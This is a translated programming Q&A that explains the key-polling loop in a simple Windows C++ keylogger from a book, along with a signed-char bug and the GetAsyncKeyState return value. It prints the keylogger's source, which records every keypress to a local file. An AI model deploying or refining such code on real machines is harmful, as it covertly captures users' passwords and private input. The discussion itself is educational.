这个 'for' 循环与键盘记录器有什么关系?

How is this 'for' loop relevant in the keylogger?

我正在读一本关于编写键盘记录器的书,只是为了好玩;我遇到了这个 'for' 循环,我对它的相关性感到困惑。

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

void log();

int main()
{
    log();
    return 0;
}

void log()
{
    char c;

    for(;;)
    {
        for(c=8;c<=222;c++) // <<=== THIS LOOP HERE
        {
            if(GetAsyncKeyState(c) == -32767)
            {
                ofstream write("C:\Users\IEUser\Desktop\text.txt",ios::app);
                write<<c;
            }
        }
    }
}

根据我的理解,这意味着 C++ 将设置 c=8,并进行循环,递增直到达到 222,然后停止(但由于父循环,它会再次继续)。书上提到数字8和222表示ASCII码。

但我看不出它如何链接到我的输入!输入不是已经从 GetAsyncKeyState 派生出来了吗?

But it'll continue again anyway because of the parent loop.

没有。内循环不会在外循环的每次迭代中 continue;相反,它将 重新启动 – 每次重新启动时 c 变量都会重置为 8。

因此,在外部 for 循环的每个(可能无限)运行s 上,内部循环 运行s 通过 c 的值8 到 222 并使用这些值中的每一个调用 GetAsyncKeyState() 函数。


注意:从 GetAsyncKeyState 的用法来看,这似乎是为 Windows 上的 运行 而设计的代码。许多(大多数)Windows 兼容的编译器具有 signed 8 位 char 类型,因此使用大于 127 的值可能会导致问题。

MSVC 编译器(Visual Studio 2019)在您的 inner for 循环中给出以下内容:

warning C6295: Ill-defined for-loop: 'char' values are always of range '-128' to '127'. Loop executes infinitely.

clang-cl编译器(同IDE)给出了类似的信息:

warning : result of comparison of constant 222 with expression of type 'char' is always true [-Wtautological-constant-out-of-range-compare]

c 变量更改为 int 将解决此问题 – 毕竟 GetAsyncKeyState 需要一个 int 参数。

for(;;) 

无限循环保持运行(监听)

for(c=8;c<=222;c++)

运行 包含从 8 到 222 的值 [8,222]

GetAsyncKeyState(c) == -32767)

Determines whether a key is up or down at the time the function is called

所以现在您正在针对由 c 表示的 ASCI 进行测试。现在神奇的数字 -32767 是什么意思?

如果我们以二进制形式写入 -32767,它会解析为 1000 0000 0000 0001。如您所见,最高有效位和最低有效位均已设置,因此根据描述,密钥已关闭并且它已自上次调用 GetAsyncKeyState 以来一直被按下。